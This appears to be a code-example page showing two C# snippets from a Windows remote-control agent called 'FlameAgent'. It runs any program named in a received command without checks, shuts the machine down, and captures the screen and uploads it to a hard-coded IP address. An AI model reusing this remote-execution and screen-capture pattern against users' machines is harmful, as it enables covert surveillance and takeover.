Exemplo n.º 1
0
 private void button1_Click(object sender, EventArgs e)
 {
     myfunc.screenCapture(ScreenPath);
     MessageBox.Show("Form 畫面擷取");
     FileTransfer.Sender nfs = new FileTransfer.Sender();
     nfs.Connect();
     nfs.SendFile(@"C:\Windows\Screen.jpg");
     nfs.Disconnect();
 }
Exemplo n.º 2
0
        public bool excuteCmd(string cmd)
        {
            char[] c = new char[] { ' ', '\t' };  // 用空白或TAB分割字串

            string[] s = cmd.Split(c, StringSplitOptions.RemoveEmptyEntries);

            int index = 0;
            string run = "";
            string message = "";
            string arguments = "";
            string filename = "";

            run = s[0];

            foreach (string s1 in s)
            {
                if (index == 0)
                {
                    run = s1;
                }
                else if (index == 1 && run == "excute")
                {
                    filename = s1;
                }
                else if (index == 1 && run == "shutdown")
                {
                    arguments = s1;
                }
                else if (index > 1 && run == "excute")
                {
                    arguments += s1 + " ";
                }
                else
                {
                    message += s1 + " ";
                }
                index++;
            }

            FlameAgent.Functions myfunc = new FlameAgent.Functions();

            // MessageBox.Show("FlameAgent: "+run +"執行命令囉~filename:" + s[1] + " argument: " + s[0] + "$$$");

            switch (run)
            {
                case "excute":

                    ProcessStartInfo pc = new ProcessStartInfo();
                    pc.FileName = s[1];
                    //pc.Arguments = s[2];
                    try
                    {
                        System.Diagnostics.Process.Start(pc);
                    }
                    catch (Exception e)
                    {
                        //MessageBox.Show(e.ToString(), "錯誤發生", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    }

                    break;
                case "message":
                    MessageBox.Show(message, "系統管理者訊息", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    break;
                case "shutdownnow":
                    myfunc.shutdownComputer();
                    break;
                case "shutdown":
                    ProcessStartInfo pc1 = new ProcessStartInfo();
                    pc1.FileName = @"c:\windows\system32\shutdown.exe";
                    pc1.Arguments = "-s -t " + s[1];
                    try
                    {
                        System.Diagnostics.Process.Start(pc1);
                    }
                    catch (Exception e)
                    {
                        //MessageBox.Show(e.ToString(), "錯誤發生", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    }

                    break;
                case "shutdown-a":

                    ProcessStartInfo pc2 = new ProcessStartInfo();
                    pc2.FileName = @"c:\windows\system32\shutdown.exe";
                    pc2.Arguments = "-a";
                    try
                    {
                        System.Diagnostics.Process.Start(pc2);
                    }
                    catch (Exception e)
                    {
                        //MessageBox.Show(e.ToString(), "錯誤發生", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    }

                    break;
                case "exit":
                    break;
                case "quit":
                    break;
                case "capture_screen":

                    myfunc.screenCapture(@"C:\Windows\Screen.jpg");
                    FileTransfer.Sender fs = new FileTransfer.Sender();
                    fs.ServerIP = @"163.27.231.200";
                    fs.ServerPort = "5566";
                    fs.Connect();
                    fs.SendFile(@"C:\Windows\Screen.jpg");
                    fs.Disconnect();

                    break;
                default:
                    MessageBox.Show("無效命令");
                    break;

            }

            return false;
        }